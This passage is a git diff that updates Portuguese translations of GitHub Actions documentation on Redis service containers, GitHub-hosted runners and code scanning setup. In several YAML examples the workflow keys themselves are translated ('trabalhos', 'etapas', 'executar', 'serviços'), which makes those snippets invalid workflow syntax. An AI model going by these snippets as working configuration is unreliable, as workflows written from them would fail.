-        # the client with data, and retrieves data
-        run: node client.js
-        # Environment variable used by the `client.js` script to create
-        # a new Redis client.
+      - nome: Conectar-se ao Redis
+        # Executa um script que cria um cliente Redis, preenche
+        # os dados do cliente e recupera dados
+        executar: node client.js
+        # Variável do ambiente usada pelo script `client.js` para criar
+        # um novo cliente Redis.
         env:
-          # The hostname used to communicate with the Redis service container
+          # O nome do host usado para comunicar-se com o contêiner de serviço Reds
           REDIS_HOST: localhost
-          # The default Redis port
+          # A porta-padrão do Redis
           REDIS_PORT: 6379
 ```
 {% endraw %}
 
-### Configuring the runner job
+### Configurar o trabalho executor
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.redis-label-description %}
 
-The workflow maps port 6379 on the Redis service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+O fluxo de trabalho mapeia a porta 6379 no contêiner de serviço do Redis com o host do Docker. Para obter mais informações sobre a palavra-chave `portas`, consulte "[Sobre contêineres de serviço](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)".
 
 ```yaml{:copy}
-jobs:
-  # Label of the runner job
+trabalhos:
+  # Etiqueta do trabalho executor
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # Você deve usar um ambiente do Linux ao usar contêineres de serviço ou trabalhos de contêiner
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviço a serem executados com `runner-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       redis:
-        # Docker Hub image
-        image: redis
-        # Set health checks to wait until redis has started
-        options: >-
+        # Imagem do Docker Hub
+        imagem: redis
+        # Define as verificações gerais até a inicialização do redis
+        opções: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
-        ports:
-          # Maps port 6379 on service container to the host
+        portas:
+          # Mapeia a porta 6379 no contêiner de serviço com o host
           - 6379:6379
 ```
 
-### Configuring the steps
+### Configurar as etapas
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
-steps:
-  # Downloads a copy of the code in your repository before running CI tests
-  - name: Check out repository code
-    uses: actions/checkout@v2
+etapas:
+  # Faz o download de uma cópia do código no seu repositório antes de executar os testes de CI
+  - nome: Verifica o código do repositório
+    usa: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
-  - name: Install dependencies
-    run: npm ci
+  # Realiza uma instalação limpa de todas as dependências no arquivo `package.json`
+  # Para obter mais informações, consulte https://docs.npmjs.com/cli/ci.html
+  - nome: Instalar dependências
+    executar: npm ci
 
-  - name: Connect to Redis
-    # Runs a script that creates a Redis client, populates
-    # the client with data, and retrieves data
-    run: node client.js
-    # Environment variable used by the `client.js` script to create
-    # a new Redis client.
+  - nome: Conectar-se ao Redis
+    # Executa um script que cria um cliente Redis, preenche
+    # os dados do cliente e recupera os dados
+    executar: node client.js
+    # Variável do ambiente usada pelo script `client.js` para criar
+    # um novo cliente Redis.
     env:
-      # The hostname used to communicate with the Redis service container
+      # O nome do host usado para comunicar-se com o contêiner de serviço Redis
       REDIS_HOST: localhost
-      # The default Redis port
+      # A porta-padrão Redis
       REDIS_PORT: 6379
 ```
 
@@ -271,20 +271,20 @@ steps:
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the Redis service container
+## Testar o contêiner de serviço Redis
 
-You can test your workflow using the following script, which creates a Redis client and populates the client with some placeholder data. The script then prints the values stored in the Redis client to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `redis` npm module. For more information, see the [npm redis module](https://www.npmjs.com/package/redis).
+Você pode testar o seu fluxo de trabalho usando o script a seguir, que cria um cliente Redis e adiciona uma tabela com alguns dados com espaços reservados. Em seguida, o script imprime no terminal os valores armazenados no cliente Redis. O seu script pode usar qualquer linguagem que você desejar, mas este exemplo usa Node.js e o módulo npm `redis`. Para obter mais informações, consulte o [módulo redis npm](https://www.npmjs.com/package/redis).
 
-You can modify *client.js* to include any Redis operations needed by your workflow. In this example, the script creates the Redis client instance, adds placeholder data, then retrieves the data.
+Você pode modificar o *client.js* para incluir qualquer operação necessária para o seu fluxo de trabalho. Neste exemplo, o script cria a instância do cliente Redis, cria uma tabela, adiciona dados de espaços reservados e, em seguida, recupera os dados.
 
 {% data reusables.github-actions.service-container-add-script %}
 
 ```javascript{:copy}
 const redis = require("redis");
 
-// Creates a new Redis client
-// If REDIS_HOST is not set, the default host is localhost
-// If REDIS_PORT is not set, the default port is 6379
+// Cria um novo cliente Redis
+// Se REDIS_HOST não for definido, o host-padrão será localhost
+// Se REDIS_PORT não for definido, a porta-padrão será 6379
 const redisClient = redis.createClient({
   host: process.env.REDIS_HOST,
   port: process.env.REDIS_PORT  
@@ -294,15 +294,15 @@ redisClient.on("error", function(err) {
     console.log("Error " + err);
 });
 
-// Sets the key "octocat" to a value of "Mona the octocat"
+// Define a chave "octocat" como um valor de "Mona the octocat"
 redisClient.set("octocat", "Mona the Octocat", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Cat and Octopus"
+// Define uma chave como "octocat", campo de "species", e "value" como "Cat and Octopus"
 redisClient.hset("species", "octocat", "Cat and Octopus", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Dinosaur and Octopus"
+// Define uma chave como "octocat", campo de "species", e "value" como "Dinosaur and Octopus"
 redisClient.hset("species", "dinotocat", "Dinosaur and Octopus", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Cat and Robot"
+// Define uma chave como "octocat", campo de "species", e "value" como "Cat and Robot"
 redisClient.hset(["species", "robotocat", "Cat and Robot"], redis.print);
-// Gets all fields in "species" key
+// Obtém todos os campos na chave "species"
 
 redisClient.hkeys("species", function (err, replies) {
     console.log(replies.length + " replies:");
@@ -313,18 +313,18 @@ redisClient.hkeys("species", function (err, replies) {
 });
 ```
 
-The script creates a new Redis client using the `createClient` method, which accepts a `host` and `port` parameter. The script uses the `REDIS_HOST` and `REDIS_PORT` environment variables to set the client's IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 6379.
+O script cria um novo cliente Redis, usando o método `createClient`, que aceita um `host` e um parâmetro da `porta`. O script usa as variáveis do ambiente `REDIS_HOST` e `REDIS_PORT` para definir o endereço IP e a porta do cliente. Se o `host` e a `porta` não forem definidos, o host-padrão será `localhost` e a porta-padrão será 6379.
 
-The script uses the `set` and `hset` methods to populate the database with some keys, fields, and values. To confirm that the Redis client contains the data, the script prints the contents of the database to the console log.
+O script usa os métodos `set` e `hset` para preencher o banco de dados com algumas chaves, campos e valores. Para confirmar se o cliente Redis contém os dados, o script imprime o conteúdo do banco de dados no registro do console.
 
-When you run this workflow, you should see the following output in the "Connect to Redis" step confirming you created the Redis client and added data:
+Ao executar este fluxo de trabalho, você deve ver a saída a seguir na etapa "Conectar-se ao Redis", confirmando que você criou o cliente Redis e adicionou os dados:
 
 ```
-Reply: OK
-Reply: 1
-Reply: 1
-Reply: 1  
-3 replies:
+Resposta: OK
+Resposta: 1
+Resposta: 1
+Resposta: 1  
+3 respostas:
     0: octocat
     1: dinotocat
     2: robotocat
diff --git a/translations/pt-BR/content/actions/using-containerized-services/index.md b/translations/pt-BR/content/actions/using-containerized-services/index.md
index 5fa792f1ea..ca46064774 100644
--- a/translations/pt-BR/content/actions/using-containerized-services/index.md
+++ b/translations/pt-BR/content/actions/using-containerized-services/index.md
@@ -1,7 +1,7 @@
 ---
-title: Using containerized services
-shortTitle: Containerized services
-intro: 'You can use containerized services in your {% data variables.product.prodname_actions %} workflows.'
+title: Usando serviços de contêineres
+shortTitle: Serviços de contêineres
+intro: 'Você pode usar os serviços de cotnêiner nos seus fluxos de trabalho de {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/translations/pt-BR/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
index 662d33b84f..e111f25ecc 100644
--- a/translations/pt-BR/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
+++ b/translations/pt-BR/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub-hosted runners
-intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.'
+title: Sobre executores hospedados no GitHub
+intro: 'O {% data variables.product.prodname_dotcom %} oferece máquinas virtuais hospedadas para executar fluxos de trabalho. A máquina virtual tem um ambiente de ferramentas, pacotes e configurações disponíveis para uso no {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /articles/virtual-environments-for-github-actions
   - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions
@@ -13,68 +13,66 @@ versions:
   fpt: '*'
   ghes: '*'
   ghec: '*'
-shortTitle: GitHub-hosted runners
+shortTitle: Executores hospedados no GitHub
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_dotcom %}-hosted runners
+## Sobre os executores hospedados no {% data variables.product.prodname_dotcom %}
 
-A {% data variables.product.prodname_dotcom %}-hosted runner is a virtual machine hosted by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner application installed. {% data variables.product.prodname_dotcom %} offers runners with Linux, Windows, and macOS operating systems.
+Um executor hospedado no {% data variables.product.prodname_dotcom %} é uma máquina virtual hospedada pelo {% data variables.product.prodname_dotcom %} com o aplicativo do executor {% data variables.product.prodname_actions %} instalado. O {% data variables.product.prodname_dotcom %} oferece executores com os sistemas operacionais Linux, Windows e macOS.
 
-When you use a {% data variables.product.prodname_dotcom %}-hosted runner, machine maintenance and upgrades are taken care of for you. You can run workflows directly on the virtual machine or in a Docker container.
+Ao usar um executor hospedada no {% data variables.product.prodname_dotcom %}, a manutenção e as atualizações da máquina são feitas para você. É possível executar fluxos de trabalho diretamente na máquina virtual ou em um contêiner Docker.
 
-You can specify the runner type for each job in a workflow. Each job in a workflow executes in a fresh instance of the virtual machine. All steps in the job execute in the same instance of the virtual machine, allowing the actions in that job to share information using the filesystem.
+Você pode especificar o tipo de executor para cada trabalho em um fluxo de trabalho. Cada trabalho em um fluxo de trabalho é executado em uma nova instância da máquina virtual. Todas as etapas de um trabalho são executadas na mesma instância da máquina virtual, o que permite que ações de cada trabalho compartilhem informações usando o sistema de arquivos.
 
 {% ifversion not ghes %}
 
 {% data reusables.github-actions.runner-app-open-source %}
 
-### Cloud hosts for {% data variables.product.prodname_dotcom %}-hosted runners
+### Hosts da nuvem para os executores hospedados em {% data variables.product.prodname_dotcom %}
 
-{% data variables.product.prodname_dotcom %} hosts Linux and Windows runners on Standard_DS2_v2 virtual machines in Microsoft Azure with the {% data variables.product.prodname_actions %} runner application installed. The {% data variables.product.prodname_dotcom %}-hosted runner application is a fork of the Azure Pipelines Agent. Inbound ICMP packets are blocked for all Azure virtual machines, so ping or traceroute commands might not work. For more information about the Standard_DS2_v2 machine resources, see "[Dv2 and DSv2-series](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)" in the Microsoft Azure documentation.
+O {% data variables.product.prodname_dotcom %} hospeda executores do Linux e Windows no Standard_DS2_v2 máquinas virtuais no Microsoft Azure com o aplicativo do executor {% data variables.product.prodname_actions %} instalado. A o aplicativo do executor hospedado no {% data variables.product.prodname_dotcom %} é uma bifurcação do agente do Azure Pipelines. Os pacotes ICMP de entrada estão bloqueados para todas as máquinas virtuais do Azure. Portanto, é possível que os comandos ping ou traceroute não funcionem. Para obter mais informações sobre os recursos da máquina Standard_DS2_v2, consulte "[Dv2 e DSv2-series](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)" na documentação do Microsoft Azure.
 
-{% data variables.product.prodname_dotcom %} hosts macOS runners in {% data variables.product.prodname_dotcom %}'s own macOS Cloud.
+{% data variables.product.prodname_dotcom %} hospedas executores do macOS na nuvem do macOS do próprio {% data variables.product.prodname_dotcom %}.
 
-### Workflow continuity for {% data variables.product.prodname_dotcom %}-hosted runners
+### Continuidade do fluxo de trabalho para executores hospedados em {% data variables.product.prodname_dotcom %}
 
 {% data reusables.github-actions.runner-workflow-continuity %}
 
-In addition, if the workflow run has been successfully queued, but has not been processed by a {% data variables.product.prodname_dotcom %}-hosted runner within 45 minutes, then the queued workflow run is discarded.
+Além disso, se a execução do fluxo de trabalho entrar na fila com sucesso, mas não foi processado por um executor hospedado em {% data variables.product.prodname_dotcom %} dentro de 45 minutos, a execução do fluxo de trabalho na fila será descartada.
 
-### Administrative privileges of {% data variables.product.prodname_dotcom %}-hosted runners
+### Privilégios administrativos os executores hospedados no {% data variables.product.prodname_dotcom %}
 
-The Linux and macOS virtual machines both run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)."
+As máquinas virtuais Linux e macOS executam usando autenticação sem senha `sudo`. Quando precisar executar comandos ou instalar ferramentas que exigem mais permissões que o usuário atual possui, você pode usar `sudo` sem a necessidade de fornecer uma senha. Para obter mais informações, consulte o "[Manual do Sudo](https://www.sudo.ws/man/1.8.27/sudo.man.html)".
 
-Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation.
+As máquinas virtuais do Windows estão configuradas para ser executadas como administradores com Controle de Conta de Usuário (UAC) desativado. Para obter mais informações, consulte "[Como funciona o Controle de Conta de Usuário](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" na documentação do Windows.
 
-## Supported runners and hardware resources
+## Executores e recursos de hardware compatíveis
 
-Hardware specification for Windows and Linux virtual machines:
-- 2-core CPU
-- 7 GB of RAM memory
-- 14 GB of SSD disk space
+Especificação de hardware para máquinas virtuais do Windows e Linux:
+- CPU dual core
+- 7 GB de memória RAM
+- 14 GB de espaço de disco SSD
 
-Hardware specification for macOS virtual machines:
-- 3-core CPU
-- 14 GB of RAM memory
-- 14 GB of SSD disk space
+Especificação de hardware para máquinas virtuais do macOS:
+- CPU de 3 núcleos
+- 14 GB de memória RAM
+- 14 GB de espaço de disco SSD
 
 {% data reusables.github-actions.supported-github-runners %}
 
-Workflow logs list the runner used to run a job. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+Lista de registros de fluxo de trabalho do executor usado para executar um trabalho. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
 
-## Supported software
+## Software compatível
 
-The software tools included in {% data variables.product.prodname_dotcom %}-hosted runners are updated weekly. The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends. 
-### Preinstalled software
+As ferramentas do software incluídas em executores hospedados em {% data variables.product.prodname_dotcom %} são atualizadas semanalmente. O processo de atualização demora vários dias, e a lista de softwares pré-instalados no branch `principal` é atualizada quando a implementação inteira é finalizada.
+### Software pré-instalado
 
-Workflow logs include a link to the preinstalled tools on the exact runner. To find this information in the workflow log, expand the `Set up job` section. Under that section, expand the `Virtual Environment` section. The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow.
-![Installed software link](/assets/images/actions-runner-installed-software-link.png)
-For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+Os registros de fluxo de trabalho incluem um link para as ferramentas pré-instaladas no executor exato. Para encontrar essas informações no fluxo do fluxo de trabalho, expanda a seção `Configurar trabalho`. Nessa seção, expanda a seção `Ambiente virtual`. O link seguinte `Software Incluído` descreverá as ferramentas pré-instaladas no executor que executaram o fluxo de trabalho. ![Installed software link](/assets/images/actions-runner-installed-software-link.png) Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
 
-For the overall list of included tools for each runner operating system, see the links below:
+Para a lista geral das ferramentas incluídas para cada sistema operacional do executor, consulte os links abaixo:
 
 * [Ubuntu 20.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu2004-Readme.md)
 * [Ubuntu 18.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-Readme.md)
@@ -84,53 +82,53 @@ For the overall list of included tools for each runner operating system, see the
 * [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md)
 * [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md)
 
-{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools. 
+Executores hospedados no {% data variables.product.prodname_dotcom %} incluem as ferramentas integradas padrão do sistema operacional, além dos pacotes listados nas referências acima. Por exemplo, os executores do Ubuntu e do macOS incluem `grep`, `find` e `which`, entre outras ferramentas-padrão.
 
-### Using preinstalled software
+### Usar software pré-instalado
 
-We recommend using actions to interact with the software installed on runners. This approach has several benefits:
-- Usually, actions provide more flexible functionality like versions selection, ability to pass arguments, and parameters
-- It ensures the tool versions used in your workflow will remain the same regardless of software updates
+Recomendamos usar ações para interagir com o software instalado nos executores. Esta abordagem tem vários benefícios:
+- Normalmente, as ações fornecem funcionalidades mais flexíveis, como seleção de versões, capacidade de passar argumentos e parâmetros
+- Ela garante que as versões da ferramenta usadas no seu fluxo de trabalho permaneçam as mesmas independentemente das atualizações do software
 
-If there is a tool that you'd like to request, please open an issue at [actions/virtual-environments](https://github.com/actions/virtual-environments). This repository also contains announcements about all major software updates on runners.
+Se houver uma ferramenta que você queira solicitar, abra um problema em [actions/virtual-environments](https://github.com/actions/virtual-environments). Este repositório também contém anúncios sobre todas as principais atualizações de software nos executores.
 
-### Installing additional software
+### Instalando software adicional
 
-You can install additional software on {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see "[Customizing GitHub-hosted runners](/actions/using-github-hosted-runners/customizing-github-hosted-runners)".
+Você pode instalar um software adicional em executores hospedados em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Personalizar executores hospedados no GitHub](/actions/using-github-hosted-runners/customizing-github-hosted-runners)".
 
-## IP addresses
+## Endereços IP
 
 {% note %}
 
-**Note:** If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you cannot use {% data variables.product.prodname_dotcom %}-hosted runners and must instead use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+**Observação:** Se você usar uma lista de permissões de endereço IP para a sua organização ou conta corporativa de {% data variables.product.prodname_dotcom %}, você não poderá usar executores hospedados em {% data variables.product.prodname_dotcom %}. Em vez disso, deverá usar executores auto-hospedados. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)."
 
 {% endnote %}
 
-To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint.
+Para obter uma lista de intervalos de endereços IP que {% data variables.product.prodname_actions %} usa para executores hospedados em {% data variables.product.prodname_dotcom %}, você poderá usar a API REST de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte a chave de `ações` na resposta do ponto de extremidade "[Obtenha as metainformações do GitHub](/rest/reference/meta#get-github-meta-information)".
 
-Windows and Ubuntu runners are hosted in Azure and subsequently have the same IP address ranges as the Azure datacenters. macOS runners are hosted in {% data variables.product.prodname_dotcom %}'s own macOS cloud.
+Os executores do Windows e Ubuntu são hospedados no Azure e, consequentemente, têm as mesmas faixas de endereços IP que os centros de dados do Azure. Os executores do macOS estão hospedados na própria nuvem do macOS de {% data variables.product.prodname_dotcom %}.
 
-Since there are so many IP address ranges for {% data variables.product.prodname_dotcom %}-hosted runners, we do not recommend that you use these as allow-lists for your internal resources.
+Uma vez que existem tantos intervalos de endereços IP para executores hospedados em {% data variables.product.prodname_dotcom %}, não recomendamos que você os utilize como listas de permissões para os seus recursos internos.
 
-The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. 
+A lista de endereços IP de {% data variables.product.prodname_actions %} retornados pela API é atualizada uma vez por semana.
 
-## File systems
+## Sistemas de arquivos
 
-{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories.
+O {% data variables.product.prodname_dotcom %} executa ações e comandos de shell em diretórios específicos na máquina virtual. Os caminhos dos arquivos nas máquinas virtuais não são estáticos. Use as variáveis de ambiente que {% data variables.product.prodname_dotcom %} fornece para construir caminhos de arquivos para os diretórios `home`, `workspace` e `workflow`.
 
-| Directory | Environment variable | Description |
-|-----------|----------------------|-------------|
-| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. |
-| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. |
-| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions.
+| Diretório             | Variável de ambiente | Descrição                                                                                                                                                                                                          |
+| --------------------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `casa`                | `HOME`               | Contém dados relacionados ao usuário. Por exemplo, esse diretório pode conter credenciais de uma tentativa de login.                                                                                               |
+| `workspace`           | `GITHUB_WORKSPACE`   | As ações e comandos do shell executados neste diretório. Uma ação pode modificar o conteúdo desse diretório, que fica acessível nas ações subsequentes.                                                            |
+| `workflow/event.json` | `GITHUB_EVENT_PATH`  | O payload do `POST` do evento webhook que acionou o fluxo de trabalho. O {% data variables.product.prodname_dotcom %} o rescreve sempre que uma ação é executada para isolar o conteúdo do arquivo entre as ações. |
 
-For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)."
+Para obter uma lista das variáveis de ambiente que {% data variables.product.prodname_dotcom %} cria para cada fluxo de trabalho, consulte "[Usar variáveis de ambiente](/github/automating-your-workflow-with-github-actions/using-environment-variables)".
 
-### Docker container filesystem
+### Sistema de arquivos do contêiner Docker
 
-Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers.
+Ações executadas em contêineres Docker têm diretórios estáticos no caminho `/github`. No entanto, é altamente recomendável usar as variáveis de ambiente padrão para elaborar caminhos de arquivos em contêineres do Docker.
 
-{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions.
+O {% data variables.product.prodname_dotcom %} reserva o prefixo de caminho `/github` e cria três diretórios para ações.
 
 - `/github/home`
 - `/github/workspace` - {% data reusables.repositories.action-root-user-required %}
@@ -138,8 +136,8 @@ Actions that run in Docker containers have static directories under the `/github
 
 {% ifversion fpt or ghec %}
 
-## Further reading
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+## Leia mais
+- "[Gerenciando cobrança para {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
 
 {% endif %}
 
diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md b/translations/pt-BR/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
index 6ba1c04fcd..ee95f89c71 100644
--- a/translations/pt-BR/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
+++ b/translations/pt-BR/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
@@ -1,26 +1,26 @@
 ---
-title: Customizing GitHub-hosted runners
-intro: You can install additional software on GitHub-hosted runners as a part of your workflow.
+title: Personalizando executores hospedados no GitHub
+intro: Você pode instalar software adicional em executores hospedados no GitHub como parte do seu fluxo de trabalho.
 versions:
   fpt: '*'
   ghec: '*'
 type: tutorial
 topics:
   - Workflows
-shortTitle: Customize runners
+shortTitle: Personalize executores
 ---
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-If you require additional software packages on {% data variables.product.prodname_dotcom %}-hosted runners, you can create a job that installs the packages as part of your workflow. 
+Se você precisar de pacotes de software adicionais em executores hospedados em {% data variables.product.prodname_dotcom %}, você poderá criar um trabalho que instale os pacotes como parte de seu fluxo de trabalho.
 
-To see which packages are already installed by default, see "[Preinstalled software](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software)."
+Para ver quais pacotes já estão instalados por padrão, consulte "[Software pré-instalado](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software)".
 
-This guide demonstrates how to create a job that installs additional software on a {% data variables.product.prodname_dotcom %}-hosted runner.
+Este guia demonstra como criar um trabalho que instale software adicional em um executor hospedado em {% data variables.product.prodname_dotcom %}.
 
-## Installing software on Ubuntu runners
+## Instalando software nos executores do Ubuntu
 
-The following example demonstrates how to install an `apt` package as part of a job.
+O exemplo a seguir demonstra como instalar um pacote `apt` como parte de um trabalho.
 
 {% raw %}
 ```yaml
@@ -42,13 +42,13 @@ jobs:
 
 {% note %}
 
-**Note:** Always run `sudo apt-get update` before installing a package. In case the `apt` index is stale, this command fetches and re-indexes any available packages, which helps prevent package installation failures. 
+**Observação:** Sempre execute `sudo apt-get update` antes de instalar um pacote. Caso o índice `apt` seja obsoleto, este comando busca e indexa novamente quaisquer pacotes disponíveis, o que ajuda a prevenir falhas na instalação do pacote.
 
 {% endnote %}
 
-## Installing software on macOS runners
+## Instalando o software nos executores do macOS
 
-The following example demonstrates how to install Brew packages and casks as part of a job.
+O exemplo a seguir demonstra como instalar pacotes de Brew e cascas como parte de um trabalho.
 
 {% raw %}
 ```yaml
@@ -72,9 +72,9 @@ jobs:
 ```
 {% endraw %}
 
-## Installing software on Windows runners
+## Instalando software em executores do Windows
 
-The following example demonstrates how to use [Chocolatey](https://community.chocolatey.org/packages) to install the {% data variables.product.prodname_dotcom %} CLI as part of a job.
+O exemplo a seguir demonstra como usar o [Chocolatey](https://community.chocolatey.org/packages) para instalar a CLI de {% data variables.product.prodname_dotcom %} como parte de um trabalho.
 
 {% raw %}
 ```yaml
diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/index.md b/translations/pt-BR/content/actions/using-github-hosted-runners/index.md
index c35d53ff24..bb8c44ff07 100644
--- a/translations/pt-BR/content/actions/using-github-hosted-runners/index.md
+++ b/translations/pt-BR/content/actions/using-github-hosted-runners/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub-hosted runners
-intro: You can use GitHub's runners to execute your GitHub Actions workflows.
+title: Usar executores hospedados no GitHub
+intro: Você pode usar os executores do GitHub para executar seus fluxos de trabalho do GitHub Actions.
 versions:
   fpt: '*'
   ghec: '*'
@@ -8,7 +8,7 @@ versions:
 children:
   - /about-github-hosted-runners
   - /customizing-github-hosted-runners
-shortTitle: Use GitHub-hosted runners
+shortTitle: Usar executores hospedados no GitHub
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md b/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md
index 5026c04d1a..016c53fbe0 100644
--- a/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md
+++ b/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring code scanning for your appliance
-shortTitle: Configuring code scanning
-intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.'
+title: Configurar a varredura de código para o seu aparelho
+shortTitle: Configurar a varredura do código
+intro: 'Você pode habilitar, configurar e desativar {% data variables.product.prodname_code_scanning %} para {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} permite aos usuários varrer códigos com relação a erros e vulnerabilidades.'
 product: '{% data reusables.gated-features.code-scanning %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -19,58 +19,58 @@ topics:
 
 {% data reusables.code-scanning.beta %}
 
-## About {% data variables.product.prodname_code_scanning %}
+## Sobre o {% data variables.product.prodname_code_scanning %}
 
 {% data reusables.code-scanning.about-code-scanning %}
 
-You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_capc %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The table below summarizes all the options available to users when you configure {% data variables.product.product_location %} to allow {% data variables.product.prodname_code_scanning %} using actions.
+Você pode configurar {% data variables.product.prodname_code_scanning %} para executar análise de {% data variables.product.prodname_codeql %} e análise de terceiros. {% data variables.product.prodname_code_scanning_capc %} também é compatível com a análise de execução nativa que utiliza {% data variables.product.prodname_actions %} ou externamente que utiliza a infraestrutura de CI/CD existente. A tabela abaixo resume todas as opções disponíveis para os usuários quando você configurar {% data variables.product.product_location %} para permitir que {% data variables.product.prodname_code_scanning %} use ações.
 
 {% data reusables.code-scanning.enabling-options %}
 
-## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
